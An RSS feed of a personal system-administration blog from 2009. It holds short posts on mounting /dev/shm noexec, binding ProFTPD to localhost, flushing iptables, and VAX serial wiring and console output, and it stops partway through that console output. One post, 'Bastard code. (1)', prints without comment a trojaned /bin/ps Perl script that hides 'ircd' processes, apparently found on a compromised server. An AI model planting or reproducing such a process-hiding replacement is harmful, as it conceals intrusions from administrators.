<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>2009 on Details...</title>
    <link>https://www.deepreflect.net/posts/2009/</link>
    <description>Recent content in 2009 on Details...</description>
    <generator>Hugo</generator>
    <language>en-US</language>
    <copyright>Copyright © 2003 - 2026 Leonardo Rizzi</copyright>
    <lastBuildDate>Wed, 02 Dec 2009 07:28:16 +0000</lastBuildDate>
    <atom:link href="https://www.deepreflect.net/posts/2009/feed.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Securing /dev/shm</title>
      <link>https://www.deepreflect.net/2009/12/02/securing-devshm/</link>
      <pubDate>Wed, 02 Dec 2009 07:28:16 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=781</guid> 
      <description>&lt;p&gt;Edit your /etc/fstab:&lt;/p&gt;
&lt;p&gt;`&lt;/p&gt;
&lt;h1 id=&#34;vi-etcfstab&#34;&gt;vi /etc/fstab&lt;/h1&gt;
&lt;p&gt;`&lt;/p&gt;
&lt;p&gt;change:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;none /dev/shm tmpfs defaults,rw 0 0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;to&lt;/p&gt;
&lt;p&gt;&lt;code&gt;none /dev/shm tmpfs defaults,nosuid,noexec,rw 0 0&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Remount /dev/shm:&lt;/p&gt;
&lt;p&gt;`&lt;/p&gt;
&lt;h1 id=&#34;mount--o-remount-devshm&#34;&gt;mount -o remount /dev/shm&lt;/h1&gt;
&lt;p&gt;`&lt;/p&gt;
&lt;p&gt;You can test it runnig a script on /dev/shm, if you get &amp;ldquo;permission denied&amp;rdquo; it is fine!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Edit your /etc/fstab:</p>
<p>`</p>
<h1 id="vi-etcfstab">vi /etc/fstab</h1>
<p>`</p>
<p>change:</p>
<p><code>none /dev/shm tmpfs defaults,rw 0 0</code></p>
<p>to</p>
<p><code>none /dev/shm tmpfs defaults,nosuid,noexec,rw 0 0</code></p>
<p>Remount /dev/shm:</p>
<p>`</p>
<h1 id="mount--o-remount-devshm">mount -o remount /dev/shm</h1>
<p>`</p>
<p>You can test it runnig a script on /dev/shm, if you get &ldquo;permission denied&rdquo; it is fine!</p>
]]></content:encoded>
    </item>
    <item>
      <title>ProFTP(D) - listen on single ip</title>
      <link>https://www.deepreflect.net/2009/12/02/proftpd-listen-on-single-ip/</link>
      <pubDate>Wed, 02 Dec 2009 07:19:58 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=759</guid> 
      <description>&lt;p&gt;I don&amp;rsquo;t use ftp, but wordpress comes with this nice feature to upgrade plugins automatically from the web admin interface that needs ftp.&lt;/p&gt;
&lt;p&gt;the problem is I don&amp;rsquo;t want to enable the ftp service and make it available to the rest of the world just for that.&lt;/p&gt;
&lt;p&gt;So I needs the following two options in proftpd.conf:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DefaultAddress 127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SocketBindTight                 on
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now restart proftpd and you&amp;rsquo;re done.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I don&rsquo;t use ftp, but wordpress comes with this nice feature to upgrade plugins automatically from the web admin interface that needs ftp.</p>
<p>the problem is I don&rsquo;t want to enable the ftp service and make it available to the rest of the world just for that.</p>
<p>So I needs the following two options in proftpd.conf:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>DefaultAddress 127.0.0.1
</span></span><span style="display:flex;"><span>SocketBindTight                 on
</span></span></code></pre></div><p>Now restart proftpd and you&rsquo;re done.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Iptables Flush</title>
      <link>https://www.deepreflect.net/2009/12/02/iptables-flush/</link>
      <pubDate>Wed, 02 Dec 2009 07:15:02 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=776</guid> 
      <description>&lt;p&gt;Full flush iptables script:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iptables -F
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iptables -X
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iptables -t nat -F
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iptables -t nat -X
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iptables -t mangle -F
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iptables -t mangle -X
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iptables -P INPUT ACCEPT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iptables -P FORWARD ACCEPT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iptables -P OUTPUT ACCEPT
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>Full flush iptables script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
</span></span></span><span style="display:flex;"><span>iptables -F
</span></span><span style="display:flex;"><span>iptables -X
</span></span><span style="display:flex;"><span>iptables -t nat -F
</span></span><span style="display:flex;"><span>iptables -t nat -X
</span></span><span style="display:flex;"><span>iptables -t mangle -F
</span></span><span style="display:flex;"><span>iptables -t mangle -X
</span></span><span style="display:flex;"><span>iptables -P INPUT ACCEPT
</span></span><span style="display:flex;"><span>iptables -P FORWARD ACCEPT
</span></span><span style="display:flex;"><span>iptables -P OUTPUT ACCEPT
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Bastard code. (1)</title>
      <link>https://www.deepreflect.net/2009/12/02/bastard-code-1/</link>
      <pubDate>Wed, 02 Dec 2009 07:10:55 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=777</guid> 
      <description>&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;srv:/bin# cat ps
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;#!/usr/bin/perl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use warnings;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use strict;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my $string = $ARGV[0];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;if($string){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my @net = qx/ps.old $string/;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my @hide = grep(!/(ircd)/, @net);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my @dd = grep(!/ps.old/, @hide);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print @dd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;else
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my @nett = qx/ps.old/;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my @hidee = grep(!/(ircd)/, @nett);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my @d = grep(!/ps.old/, @hidee);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print @d;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>srv:/bin# cat ps
</span></span><span style="display:flex;"><span>#!/usr/bin/perl
</span></span><span style="display:flex;"><span>use warnings;
</span></span><span style="display:flex;"><span>use strict;
</span></span><span style="display:flex;"><span>my $string = $ARGV[0];
</span></span><span style="display:flex;"><span>if($string){
</span></span><span style="display:flex;"><span>my @net = qx/ps.old $string/;
</span></span><span style="display:flex;"><span>my @hide = grep(!/(ircd)/, @net);
</span></span><span style="display:flex;"><span>my @dd = grep(!/ps.old/, @hide);
</span></span><span style="display:flex;"><span>print @dd;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>else
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>my @nett = qx/ps.old/;
</span></span><span style="display:flex;"><span>my @hidee = grep(!/(ircd)/, @nett);
</span></span><span style="display:flex;"><span>my @d = grep(!/ps.old/, @hidee);
</span></span><span style="display:flex;"><span>print @d;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>VAX - MMJ DEC423 Pinout</title>
      <link>https://www.deepreflect.net/2009/11/29/vax-mmj-dec423-pinout/</link>
      <pubDate>Sun, 29 Nov 2009 01:45:03 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=763</guid> 
      <description>&lt;p&gt;Setting up serial connection to VAXstation 4000/60:&lt;/p&gt;
&lt;p&gt;First made a serial cable, attention Vax use a DEC423 serial port designed for long distant terminal line:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--------------- 1 - DTR (Data terminal ready)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;I             I 2 - TxD (Transmit data)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;I    1  2  3  4  5  6   I 3 - GND (Signal ground)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;I                                         I 4 - RxC (Receive common)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;I                                         I 5 - RxD (Receive data)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---------I____I 6 - DSR (Data set ready)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pin 2 of the phone connector goes to Rx pin of the serial (3 of DB25 or 2 of DB9), pins 3 &amp;amp; 4 go to ground (7 of DB25 or 5 of DB9), and pin 5 goes to Tx pin (2 of DB25 or 3 of DB9).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Setting up serial connection to VAXstation 4000/60:</p>
<p>First made a serial cable, attention Vax use a DEC423 serial port designed for long distant terminal line:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>--------------- 1 - DTR (Data terminal ready)
</span></span><span style="display:flex;"><span>I             I 2 - TxD (Transmit data)
</span></span><span style="display:flex;"><span>I    1  2  3  4  5  6   I 3 - GND (Signal ground)
</span></span><span style="display:flex;"><span>I                                         I 4 - RxC (Receive common)
</span></span><span style="display:flex;"><span>I                                         I 5 - RxD (Receive data)
</span></span><span style="display:flex;"><span>---------I____I 6 - DSR (Data set ready)
</span></span></code></pre></div><p>Pin 2 of the phone connector goes to Rx pin of the serial (3 of DB25 or 2 of DB9), pins 3 &amp; 4 go to ground (7 of DB25 or 5 of DB9), and pin 5 goes to Tx pin (2 of DB25 or 3 of DB9).</p>
<p>Then, make sure that the S3 switch (on the front of the 4000/60) is set to
the up position so that the VAX uses the serial console instead of the
graphics console.</p>
<p>Then, load up your favourite terminal application, set the speed to 9600
baud, make sure hardware handshaking is off, and see if you can talk to
the VAX.</p>
]]></content:encoded>
    </item>
    <item>
      <title>My first VAX and VMS system</title>
      <link>https://www.deepreflect.net/2009/11/27/my-first-vax-and-vms-system/</link>
      <pubDate>Fri, 27 Nov 2009 03:03:48 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=761</guid> 
      <description>&lt;p&gt;3 days ago I find a nice VAX Station 4000/60 on ebay for only 41 Euro (about 60 Dollars), obviously I bought it, and today delivery boy knock my door!&lt;/p&gt;
&lt;p&gt;I paste the command/console output of the recovery procedure:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rpgle&#34; data-lang=&#34;rpgle&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; KA46&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;A V1.&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;38E&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;V4.&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;08&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;00&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;2B&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;92&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;4E&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;C7
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; 24MB
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; ?? &lt;span style=&#34;color:#ae81ff&#34;&gt;001&lt;/span&gt;   &lt;span style=&#34;color:#ae81ff&#34;&gt;9&lt;/span&gt;        NI  &lt;span style=&#34;color:#ae81ff&#34;&gt;0172&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; sh config
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; KA46&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;A V1.&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;38E&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;V4.&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;08&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;00&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;2B&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;92&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;4E&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;C7
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; 24MB
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; DEVNBR    DEVNAM           INFO
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;------&lt;/span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;--------&lt;/span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;--------------------------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;         NVR    OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;         LCG    OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; HR &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt; PLN FB &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; V1.&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;          DZ    OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;       CACHE    OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;         MEM    OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; 24MB &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; SY&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;8MB, S0&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;8MB, S2&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;8MB, S4&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0MB
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;6&lt;/span&gt;         FPU    OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;7&lt;/span&gt;          IT    OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;         SYS    OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;9&lt;/span&gt;          NI    ?? &lt;span style=&#34;color:#ae81ff&#34;&gt;001&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0172&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;        SCSI    OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;L0&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;RZ26B   &lt;span style=&#34;color:#ae81ff&#34;&gt;6&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;INITR
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;11&lt;/span&gt;         AUD    OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; ?
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; BOOT [&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;[R5:]&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;bflg&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;] [&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;ddau&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;[:]]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; CONTINUE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; DEPOSIT [{ &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;B | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;W | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;L | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Q | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;A }] [{ &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;P | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;V | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;I }] [&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;G] [&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;U] [&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;N:&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;n&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; [{ &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;addr&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; | &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;sym&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; | &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; | &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; | &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; | @ }  [&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;datum&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;]]
